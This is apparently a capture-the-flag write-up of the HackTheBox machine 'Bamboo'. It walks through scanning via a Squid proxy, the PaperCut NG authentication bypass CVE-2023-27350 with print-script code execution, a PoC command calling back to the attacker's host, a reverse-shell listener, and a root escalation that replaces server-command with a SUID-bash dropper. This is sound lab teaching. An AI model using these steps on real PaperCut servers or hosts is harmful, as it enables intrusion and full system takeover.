HTB: Bamboo
Bamboo offers a Squid HTTP proxy through which I’ll access a PaperCut NG instance. I’ll use Spose to scan through the proxy and discover the print management application. I’ll exploit an authentication bypass vulnerability in PaperCut and use application access to enabling print scripting to get code execution. For privilege escalation, I’ll abuse a root process that runs a script from the papercut user’s home directory.
Box Info
Recon
Initial Scanning
nmap finds two open TCP ports, SSH (22) and Squid (3128):
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.238.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:37 UTC
...[snip]...
Nmap scan report for 10.129.238.16
Host is up, received echo-reply ttl 63 (0.021s latency).
Scanned at 2026-01-27 02:37:36 UTC for 13s
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
3128/tcp open squid-http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds
Raw packets sent: 131082 (5.768MB) | Rcvd: 13 (556B)
oxdf@hacky$ nmap -p 22,3128 -sCV 10.129.238.16
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-27 02:38 UTC
Nmap scan report for 10.129.238.16
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 83:b2:62:7d:9c:9c:1d:1c:43:8c:e3:e3:6a:49:f0:a7 (ECDSA)
|_ 256 cf:48:f5:f0:a6:c1:f5:cb:f8:65:18:95:43:b4:e7:e4 (ED25519)
3128/tcp open http-proxy Squid http proxy 5.9
|_http-server-header: squid/5.9
|_http-title: ERROR: The requested URL could not be retrieved
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 41.73 seconds
Based on the OpenSSH version, the host is likely running Ubuntu 22.04 jammy LTS.
Both ports show a TTL of 63, which matches the expected TTL for Linux one hop away.
Squid - TCP 3128
General Enumeration
Squid Proxy is an HTTP proxy. It can be configured with or without authentication. If I try to go to it directly in a web browser, it returns an errors page:
The version is 5.9 according to the footer.
Proxied Port Scan
HackTricks has a page on pentesting Squid that suggests Spose as a way to scan through a Squid proxy. I’ll give it a run:
oxdf@hacky$ git clone https://github.com/aancw/spose.git
Cloning into 'spose'...
remote: Enumerating objects: 34, done.
remote: Counting objects: 100% (23/23), done.
remote: Compressing objects: 100% (16/16), done.
remote: Total 34 (delta 11), reused 17 (delta 6), pack-reused 11 (from 1)
Receiving objects: 100% (34/34), 7.89 KiB | 2.63 MiB/s, done.
Resolving deltas: 100% (11/11), done.
oxdf@hacky$ cd spose/
oxdf@hacky$ ls
__init__.py LICENSE README.md requirements.txt spose.py url_request.py
oxdf@hacky$ uv add --script spose.py -r requirements.txt
Updated `spose.py`
oxdf@hacky$ uv run spose.py
Installed 1 package in 5ms
usage: spose.py [-h] --proxy PROXY --target TARGET [--ports PORTS] [--allports]
Squid Pivoting Open Port Scanner
options:
-h, --help show this help message and exit
--proxy PROXY Define proxy address URL (http://x.x.x.x:3128)
--target TARGET Define target IP behind proxy
--ports PORTS [Optional] Define target ports behind proxy (comma-separated)
--allports [Optional] Scan all 65535 TCP ports behind proxy
I’ll have it scan all ports, though that will take a while to complete. It prints findings as it finds them, so I don’t have to wait for it to finish to see the next step:
oxdf@hacky$ uv run spose.py --proxy http://10.129.238.16:3128 --target localhost --allports
Scanning all 65,535 TCP ports
Using proxy address http://10.129.238.16:3128
localhost:22 seems OPEN
localhost:9191 seems OPEN
localhost:9192 seems OPEN
localhost:9195 seems OPEN
Configure Tools
There are two ways I’ll want to interact through the Squid Proxy. From my command line, I’ll use proxychains but updating the ProxyList at the bottom of /etc/proxychains.conf to:
[ProxyList]
http 10.129.238.16 3128
Now, for example, I can use curl to fetch TCP 9191:
oxdf@hacky$ proxychains curl http://127.0.0.1:9191 -v
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
* Trying 127.0.0.1:9191...
[proxychains] Strict chain ... 10.129.238.16:3128 ... 127.0.0.1:9191 ... OK
* Connected to 127.0.0.1 (10.129.238.16) port 9191
> GET / HTTP/1.1
> Host: 127.0.0.1:9191
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Found
< Date: Tue, 27 Jan 2026 03:33:21 GMT
< Location: http://127.0.0.1:9191/user
< Content-Length: 0
<
* Connection #0 to host 127.0.0.1 left intact
I already have my Firefox set up with FoxyProxy to proxy all my CTF traffic through Burp. I’ll go into Burp –> Proxy –> Settings –> Network –> Connections –> Upstream proxy servers and add this Squid instance:
Now if I load http://127.0.0.1:9191, it loads the page.
PaperCut - TCP 9191, 9192, 9195
Just from these port numbers Claude calls out PaperCut:
That matches what’s in the PaperCut docs:
Visiting the page also redirects to the PaperCutNG login form:
The version is 22.0. I don’t see any way to register, so there isn’t much I can do here to explore the app further without creds.
Shell as papercut
Identify CVEs
Searching for “papercut ng 22.0 cve” returns references to a couple vulnerabilities:
CVE-2023-2533 is a CSRF where getting the admin to click a malicious link can lead to RCE. I don’t see a way to interact with the admin.
CVE-2023-27350 is much more interesting:
This vulnerability allows remote attackers to bypass authentication on affected installations of PaperCut NG 22.0.5 (Build 63914). Authentication is not required to exploit this vulnerability. The specific flaw exists within the SetupCompleted class. The issue results from improper access control. An attacker can leverage this vulnerability to bypass authentication and execute arbitrary code in the context of SYSTEM. Was ZDI-CAN-18987.
This is unauthenticated RCE, with a CVSS score of 9.8 / 10.
CVE-2023-27350
Background
The actual vulnerability with CVE-2023-27350 is an authentication bypass vulnerability. Once on the main page, leveraging that access to get RCE by abusing intended features of the application is not hard. Juniper Networking has a nice blog post breaking down the details as well as how exploitation became incredibly common with ransomware groups following its release.
The issue is in the setup process, which offers a button to login once it’s complete. This button manages to bypass authentication checks and provides a valid session.
Once inside, the user can disable the sandbox protections and enable scripting, allowing for code execution.
Manual POC
To show this, I’ll visit http://127.0.0.1:9191/app?service=page/SetupCompleted (through the Squid proxy):
Now on clicking login, I’m taken to the authenticated dashboard:
A common way to get code execution from Papercut is to enable print scripting. In Options –> Config Editor I’ll filter on “script” to get the two options I need to check:
I’ve updated both of these to enable scripting and disable the sandbox.
Now under Printers, there’s one printer:
Clicking on it, there’s a “Scripting” tab:
If I try to visit this tab before enabling scripting, it shows:
With scripting enabled:
I’ll check the “Enable print script” box, and then add to the code:
If the printJobHook function isn’t present, it will throw an error. I could put code inside it, but then it won’t run until a job is printed. By putting it outside the function, it will run when the function is saved. On clicking Apply at the bottom of the page, it runs:
oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:01:01.885767 IP 10.129.238.16 > 10.10.14.16: ICMP echo request, id 2, seq 1, length 64
00:01:01.885791 IP 10.10.14.16 > 10.129.238.16: ICMP echo reply, id 2, seq 1, length 64
Shell
I’ll switch the ping to a bash reverse shell:
On hitting Apply, I get a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.238.16 56382
bash: cannot set terminal process group (699): Inappropriate ioctl for device
bash: no job control in this shell
papercut@bamboo:~/server$
I’ll upgrade the shell using the standard trick:
papercut@bamboo:~/server$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
papercut@bamboo:~/server$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
papercut@bamboo:~/server$
And grab user.txt:
papercut@bamboo:~$ cat user.txt
57510b56************************
Automated
Rather than do the entire exploit chain manually, there are POC scripts out there (like this one from horizon3ai) that will do all this in one step:
oxdf@hacky$ proxychains uv run --with requests CVE-2023-27350.py -u http://127.0.0.1:9191 -c 'curl http://10.10.14.16/fromPOC'
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 10.129.238.16:3128 ... 127.0.0.1:9191 ... OK
[*] Papercut instance is vulnerable! Obtained valid JSESSIONID
[*] Updating print-and-device.script.enabled to Y
[*] Updating print.script.sandboxed to N
[*] Prepparing to execute...
[+] Executed successfully!
[*] Updating print-and-device.script.enabled to N
[*] Updating print.script.sandboxed to Y
In this case, I had it run curl, and there’s a hit at my webserver:
10.129.238.16 - - [28/Jan/2026 00:20:26] code 404, message File not found
10.129.238.16 - - [28/Jan/2026 00:20:26] "GET /fromPOC HTTP/1.1" 404 -
The way this script is set up won’t handle commands with pipes or redirects, so I’ll have to use one command to upload a file with a reverse shell, and another run to bash <that file>.
Shell as root
Enumeration
Users
The papercut user’s home directory is pretty empty other than the PaperCut install:
papercut@bamboo:~$ ls -la
total 324
drwxr-xr-x 8 papercut papercut 4096 Sep 30 16:30 .
drwxr-xr-x 4 root root 4096 May 26 2023 ..
lrwxrwxrwx 1 root root 9 Sep 30 16:30 .bash_history -> /dev/null
-rw-r--r-- 1 papercut papercut 220 May 26 2023 .bash_logout
-rw-rw-r-- 1 papercut papercut 74 May 26 2023 .bash_profile
-rw-r--r-- 1 papercut papercut 3771 May 26 2023 .bashrc
-rw-r--r-- 1 papercut papercut 102 Sep 29 2022 .install-config
drwxrwxr-x 3 papercut papercut 4096 May 26 2023 .local
-rw-r--r-- 1 papercut papercut 881 May 26 2023 .profile
-rwxr-xr-x 1 papercut papercut 50569 Sep 29 2022 LICENCE.TXT
-rwxr-xr-x 1 papercut papercut 1537 Sep 29 2022 README-LINUX.TXT
-rwxr-xr-x 1 papercut papercut 212715 Sep 29 2022 THIRDPARTYLICENSEREADME.TXT
drwxr-xr-x 5 papercut papercut 4096 May 26 2023 client
lrwxrwxrwx 1 papercut papercut 24 May 26 2023 docs -> server/data/content/help
drwxr-xr-x 9 papercut papercut 4096 May 26 2023 providers
drwxr-xr-x 6 papercut papercut 4096 May 26 2023 release
drwxr-xr-x 5 papercut papercut 4096 May 26 2023 runtime
drwxr-xr-x 13 papercut papercut 4096 May 26 2023 server
-rwxr-xr-x 1 papercut papercut 3099 Sep 29 2022 uninstall
-rw-r----- 1 root papercut 33 Jan 27 23:51 user.txt
Trying to list sudo rules requires a password, which I don’t have:
papercut@bamboo:~$ sudo -l
[sudo] password for papercut:
There is an admin password hash in the server.properties file:
papercut@bamboo:~/server$ cat server.properties | grep -v '#' | grep .
admin.username=admin
admin.password=HASH\:$2a$10$I9n7kuIU2a0ODXhCfc3Z4e0h4G69KaFgDdksemRoNGrQf2Hu.4Xvm
server.enable-http-on-port-80=N
server.enable-https-on-port-443=N
server.port=9191
server.ssl.port=9192
server.ssl.high-security-port=9195
require-cookies-for-login=Y
server.cookies.session.same-site=
server.ssl.hsts-enabled=N
server.ssl.hsts-max-age-secs=31536000
server.ssl.hsts-include-sub-domains=Y
server.log-web-requests=N
database.type=Internal
database.driver=
database.url=
database.username=
database.password=
central-reports.enabled=Y
central-reports.database.local.include=Y
central-reports.database.local.label=Local Site
central-reports.require-all-databases-online=Y
temp-folder-cleanup.font-files.min-age-in-days=60
I’ll feed it to hashcat, but it doesn’t crack with rockyou.txt.
There is one other user with a home directory in /home:
papercut@bamboo:/home$ ls
papercut ubuntu
papercut@bamboo:/home$ ls ubuntu/
ls: cannot open directory 'ubuntu/': Permission denied
That matches the users with shells configured in passwd:
papercut@bamboo:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
papercut:x:1001:1001:,,,:/home/papercut:/bin/bash
Papercut Binaries
In /home/papercut/server/bin/linux-x64 there are a bunch of binaries:
papercut@bamboo:~/server/bin/linux-x64$ ls -l
total 13116
-rwxr-xr-x 1 papercut papercut 111027 Sep 29 2022 app-monitor
-rw-r--r-- 1 papercut papercut 5514 Sep 29 2022 app-monitor.conf
-rwxr-xr-x 1 papercut papercut 16658 Sep 29 2022 app-server
-r-s--x--x 1 root root 11071 Sep 29 2022 authpam
-rwxr-xr-x 1 papercut papercut 2456 Sep 29 2022 authsamba
-rwxr-xr-x 1 papercut papercut 479 Sep 29 2022 create-client-config-file
-rwxr-xr-x 1 papercut papercut 468 Sep 29 2022 create-ssl-keystore
-rwxr-xr-x 1 papercut papercut 763 Sep 29 2022 db-tools
-rwxr-xr-x 1 papercut papercut 501 Sep 29 2022 direct-print-monitor-config-initializer
-rwxr-xr-x 1 papercut papercut 2306 Sep 29 2022 gather-ldap-settings
drwxr-xr-x 2 papercut papercut 4096 May 26 2023 lib
-rwxr-xr-x 1 papercut papercut 493309 Sep 29 2022 pc-pdl-to-image
-rwxr-xr-x 1 papercut papercut 12689408 Sep 29 2022 pc-split-scan
-rwxr-xr-x 1 papercut papercut 9558 Sep 29 2022 pc-udp-redirect
-rwxr-xr-x 1 papercut papercut 7561 Sep 29 2022 roottasks
-rwxr-xr-x 1 papercut papercut 7777 Sep 29 2022 sambauserdir
-rwxr-xr-x 1 papercut papercut 493 Sep 29 2022 server-command
-rwxr-xr-x 1 papercut papercut 2253 Sep 29 2022 setperms
-rwxr-xr-x 1 papercut papercut 286 Sep 29 2022 start-server
-rwxr-xr-x 1 papercut papercut 11108 Sep 29 2022 stduserdir
-rwxr-xr-x 1 papercut papercut 279 Sep 29 2022 stop-server
-rwxr-xr-x 1 papercut papercut 480 Sep 29 2022 upgrade-server-configuration
These are run by the OS when some action taken on the webserver needs to do something on the host. With printers, a lot of times this will have to be done with escalated privileges.
I’ll upload pspy to the host and give it a run:
papercut@bamboo:/dev/shm$ wget 10.10.14.16/pspy64
--2026-01-28 00:40:54-- http://10.10.14.16/pspy64
Connecting to 10.10.14.16:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 6.15MB/s in 0.5s
2026-01-28 00:40:55 (6.15 MB/s) - ‘pspy64’ saved [3104768/3104768]
papercut@bamboo:/dev/shm$ chmod +x pspy64
papercut@bamboo:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...
There’s nothing interesting happening on a cron. Exploring all the settings on the website, eventually I’ll find something interesting. Under “Enable Printing”, I’ll click the little “<” at the right side:
That pops out a menu:
I’ll click “Import BYOD-friendly print queues”:
I’ll click Next:
And finally “Start Importing Mobility Print printers”:
It doesn’t find anything to add, but there’s an interesting set of lines in pspy:
2026/01/28 00:47:16 CMD: UID=0 PID=10219 | /bin/sh /home/papercut/server/bin/linux-x64/server-command get-config health.api.key
That’s root running server-command from the papercut user’s home directory.
Pushing the “Refresh servers” button on the resulting page runs it again:
Binary Hijack
To exploit this is simple. papercut controls that directory and binary:
papercut@bamboo:~/server/bin/linux-x64$ ls -l server-command
-rwxr-xr-x 1 papercut papercut 493 Sep 29 2022 server-command
papercut@bamboo:~/server/bin/linux-x64$ ls -ld .
drwxr-xr-x 3 papercut papercut 4096 May 26 2023 .
I’ll move the script, and create my own:
papercut@bamboo:~/server/bin/linux-x64$ mv server-command server-command.bk
papercut@bamboo:~/server/bin/linux-x64$ echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 6777 /tmp/0xdf' | tee server-command
#!/bin/bash
cp /bin/bash /tmp/0xdf
chown root:root /tmp/0xdf
chmod 6777 /tmp/0xdf
papercut@bamboo:~/server/bin/linux-x64$ chmod +x server-command
Now I hit “Refresh servers”, and the 0xdf binary exists in /tmp and is SetUID:
papercut@bamboo:~/server/bin/linux-x64$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1396520 Jan 28 00:57 /tmp/0xdf
I’ll run it with -p to not drop privs:
papercut@bamboo:~/server/bin/linux-x64$ /tmp/0xdf -p
0xdf-5.1#
And grab root.txt:
0xdf-5.1# cat /root/root.txt
13668f50************************
